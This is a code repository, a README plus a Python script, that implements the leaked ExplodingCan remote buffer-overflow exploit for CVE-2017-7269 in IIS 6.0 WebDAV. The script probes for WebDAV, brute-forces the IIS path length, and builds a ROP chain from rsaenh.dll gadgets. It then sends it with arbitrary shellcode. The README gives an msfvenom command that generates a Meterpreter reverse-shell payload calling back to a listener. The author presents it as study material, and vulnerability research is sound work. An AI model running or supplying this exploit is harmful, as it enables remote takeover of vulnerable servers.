├── README.md └── explodingcan.py /README.md: -------------------------------------------------------------------------------- 1 | # ExplodingCan 2 | 3 | An implementation of ExplodingCan's exploit extracted from FuzzBunch, the "Metasploit" of the NSA. 4 | 5 | ![exploit](https://user-images.githubusercontent.com/1675387/34547090-d2c7309e-f0f8-11e7-83ca-02c1955432ad.png) 6 | 7 | ## Details 8 | 9 | * **Vulnerability**: Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow 10 | * **CVE**: [CVE-2017-7269](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269) 11 | * **Disclosure date**: March 31 2017 12 | * **Affected product**: Microsoft Windows Server 2003 R2 SP2 x86 13 | 14 | 15 | ## Why? 16 | Months ago I needed to study this exploit, and finally I implemented it in python. 17 | 18 | ## Shellcode 19 | 20 | The shellcode must be in alphanumeric format due to the limitations of the bug. For example we can use `msfvenom` (metasploit) with the `alpha_mixed` encoder. 21 | 22 | ``` 23 | $ msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=172.16.20.1 LPORT=4444 >shellcode 24 | ``` 25 | 26 | ## Links 27 | 28 | * [Fuzzbunch framework](https://github.com/x0rz/EQGRP_Lost_in_Translation) 29 | * [Metasploit module](https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl) 30 | * [0patching the "Immortal" CVE-2017-7269](https://0patch.blogspot.com.es/2017/03/0patching-immortal-cve-2017-7269.html) 31 | * [First exploit published](https://www.exploit-db.com/exploits/41738/) 32 | -------------------------------------------------------------------------------- /explodingcan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # An implementation of NSA's ExplodingCan exploit 5 | # Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow 6 | # CVE-2017-7269 7 | # 8 | # by @danigargu 9 | # 10 | # 11 | 12 | import re 13 | import sys 14 | import socket 15 | import requests 16 | import httplib 17 | import string 18 | import time 19 | import random 20 | import sys 21 | 22 | from urlparse import urlparse 23 | from struct import pack 24 | 25 | REQUEST_TIMEOUT = 10 26 | DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot") 27 | 28 | def decode(data): 29 | return data.decode("utf-8").encode("utf-16le") 30 | 31 | def encode(data): 32 | return data.decode("utf-16le").encode("utf-8") 33 | 34 | p = lambda x : pack("' or \ 43 | re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \ 44 | "PROPFIND" in headers.get('Public','') or \ 45 | "PROPFIND" in headers.get('Allow',''): 46 | return True 47 | return False 48 | 49 | def check(url): 50 | r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT) 51 | if r.status_code != 200: 52 | print("[-] Status code: %d" % r.status_code) 53 | return False 54 | 55 | print("[*] Server found: %s" % r.headers['Server']) 56 | if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers): 57 | return True 58 | return False 59 | 60 | def find_iis_path_len(url, min_len=3, max_len=70, delay=0): 61 | idx = 0 62 | junk = 60 63 | found = False 64 | iis_path_len = None 65 | cur_size = max_len 66 | 67 | assert max_len <= 130, "Max length exceeded (130)" 68 | init_lenght = 130-max_len 69 | 70 | while not found and cur_size > min_len: 71 | cur_size = (max_len-idx) 72 | to_brute = rand_text_alpha(init_lenght+idx) 73 | base_query = " (Not ) " % to_brute 74 | 75 | sys.stdout.write("[*] Trying with size: %d\r" % cur_size) 76 | sys.stdout.flush() 77 | try: 78 | r = requests.request('PROPFIND', url, 79 | timeout=REQUEST_TIMEOUT, headers={ 80 | 'Content-Length': '0', 81 | 'Host': 'localhost', 82 | 'If': base_query 83 | }) 84 | 85 | if r.status_code == 500: 86 | iis_path_len = (max_len-idx) 87 | found = True 88 | idx += 1 89 | time.sleep(delay) 90 | 91 | # requests.exceptions.ReadTimeout 92 | except requests.exceptions.ConnectionError as e: 93 | print("[-] ERROR: %s" % e.message) 94 | break 95 | 96 | if iis_path_len and iis_path_len == max_len: 97 | iis_path_len = None 98 | 99 | return iis_path_len 100 | 101 | def make_payload(p_url, iis_path_len, shellcode): 102 | url = p_url.geturl() 103 | payload = "PROPFIND / HTTP/1.1\r\n" 104 | payload += "Host: %s\r\n" % p_url.netloc 105 | payload += "Content-Length: 0\r\n" 106 | payload += "If: <%s/a" % url 107 | 108 | junk = (128-iis_path_len) * 2 109 | 110 | p1 = rand_text_alpha(junk) # Varies the length given its IIS physical path 111 | p1 += p(0x02020202) 112 | p1 += p(0x680312c0) # str pointer to .data httpext.dll 113 | p1 += rand_text_alpha(24) 114 | p1 += p(0x680313c0) # destination pointer used with memcpy 115 | p1 += rand_text_alpha(12) 116 | p1 += p(0x680313c0) # destination pointer used with memcpy 117 | 118 | payload += encode(p1) 119 | 120 | payload += "> (Not ) " 121 | payload += "<%s/b" % url 122 | 123 | p2 = rand_text_alpha(junk - 4) 124 | p2 += p(0x680313c0) 125 | 126 | """ 127 | Stack adjust: 128 | 129 | rsaenh.dll:68006E4F pop esi 130 | rsaenh.dll:68006E50 pop ebp 131 | rsaenh.dll:68006E51 retn 20h 132 | """ 133 | 134 | p2 += p(0x68006e4f) # StackAdjust 135 | p2 += p(0x68006e4f) # StackAdjust 136 | p2 += rand_text_alpha(4) 137 | p2 += p(0x680313c0) 138 | p2 += p(0x680313c0) 139 | p2 += rand_text_alpha(12) 140 | 141 | """ 142 | rsaenh.dll:68016082 mov esp, ecx 143 | rsaenh.dll:68016084 mov ecx, [eax] 144 | rsaenh.dll:68016086 mov eax, [eax+4] 145 | rsaenh.dll:68016089 push eax 146 | rsaenh.dll:6801608A retn 147 | """ 148 | 149 | p2 += p(0x68016082) 150 | p2 += rand_text_alpha(12) 151 | p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE 152 | p2 += rand_text_alpha(4) 153 | p2 += p(0x680124e3) # JMP [EBX] 154 | p2 += p(0x68031460) # shellcode address 155 | p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address 156 | p2 += p(0xffffffff) 157 | p2 += p(0x680313c0) 158 | p2 += p(0x6803046e) 159 | p2 += rand_text_alpha(4) 160 | p2 += p(0x68031434) 161 | p2 += p(0x680129e7) # leave; ret 162 | 163 | """ 164 | rsaenh.dll:68009391 pop eax 165 | rsaenh.dll:68009392 pop ebp 166 | rsaenh.dll:68009393 retn 4 167 | """ 168 | 169 | p2 += p(0x68009391) 170 | p2 += rand_text_alpha(16) 171 | p2 += p(0x6803141c) 172 | 173 | """ 174 | rsaenh.dll:68006E05 lea esp, [ebp-20h] 175 | rsaenh.dll:68006E08 pop edi 176 | rsaenh.dll:68006E09 pop esi 177 | rsaenh.dll:68006E0A pop ebx 178 | rsaenh.dll:68006E0B leave 179 | rsaenh.dll:68006E0C retn 24h 180 | """ 181 | 182 | p2 += p(0x68006e05) 183 | p2 += rand_text_alpha(12) 184 | p2 += p(0x68008246) # EAX val address 185 | p2 += rand_text_alpha(4) 186 | 187 | """ 188 | Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server) 189 | 190 | rsaenh.dll:68021DAA mov eax, [eax+110h] 191 | rsaenh.dll:68021DB0 pop ebp 192 | rsaenh.dll:68021DB1 retn 4 193 | """ 194 | 195 | p2 += p(0x68021daa) 196 | p2 += rand_text_alpha(4) 197 | p2 += p(0x680313f8) 198 | p2 += p(0x680129e7) # leave; ret 199 | 200 | payload += encode(p2) 201 | 202 | """ 203 | stack restore: 204 | 205 | 90 nop 206 | 31db xor ebx, ebx 207 | b308 mov bl, 8 208 | 648b23 mov esp, dword fs:[ebx] 209 | 6681c40008 add sp, 0x800 210 | 90 nop 211 | """ 212 | payload += encode("9031DBB308648B236681C4000890".decode("hex")) 213 | payload += encode(shellcode) 214 | payload += ">\r\n\r\n" 215 | 216 | return payload 217 | 218 | def send_exploit(p_url, data): 219 | host = p_url.hostname 220 | port = p_url.port if p_url.port else 80 221 | vulnerable = False 222 | recv_data = None 223 | 224 | try: 225 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 226 | sock.settimeout(50) 227 | sock.connect((host, port)) 228 | sock.send(data) 229 | recv_data = sock.recv(1024) 230 | sock.close() 231 | except socket.timeout: 232 | print("[*] Socket timeout") 233 | vulnerable = True 234 | except socket.error as e: 235 | if e.errno == 54: 236 | print("[*] Connection reset by peer") 237 | vulnerable = True 238 | return (vulnerable, recv_data) 239 | 240 | def main(): 241 | if len(sys.argv) < 3: 242 | print("Usage: %s " % sys.argv[0]) 243 | return 244 | 245 | try: 246 | url = sys.argv[1] 247 | sc_file = sys.argv[2] 248 | p_url = urlparse(url) 249 | shellcode = None 250 | 251 | with open(sc_file, 'rb') as f: 252 | shellcode = f.read() 253 | 254 | print("[*] Using URL: %s" % url) 255 | if not check(url): 256 | print("[-] Server not vulnerable") 257 | return 258 | 259 | iis_path_len = find_iis_path_len(url) 260 | if not iis_path_len: 261 | print("[-] Unable to determine IIS path size") 262 | return 263 | 264 | print("[*] Found IIS path size: %d" % iis_path_len) 265 | if iis_path_len == DEFAULT_IIS_PATH_SIZE: 266 | print("[*] Default IIS path: C:\Inetpub\wwwroot") 267 | 268 | r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT) 269 | if r and r.status_code == 207: 270 | print("[*] WebDAV request: OK") 271 | payload = make_payload(p_url, iis_path_len, shellcode) 272 | 273 | print("[*] Payload len: %d" % len(payload)) 274 | print("[*] Sending payload...") 275 | vuln, recv_data = send_exploit(p_url, payload) 276 | 277 | if vuln: 278 | print("[+] The host is maybe vulnerable") 279 | if recv_data: 280 | print(recv_data) 281 | else: 282 | print("[-] Server did not respond correctly to WebDAV request") 283 | return 284 | 285 | except Exception as e: 286 | print("[-] %s" % e) 287 | 288 | if __name__ == '__main__': 289 | main() 290 | 291 | --------------------------------------------------------------------------------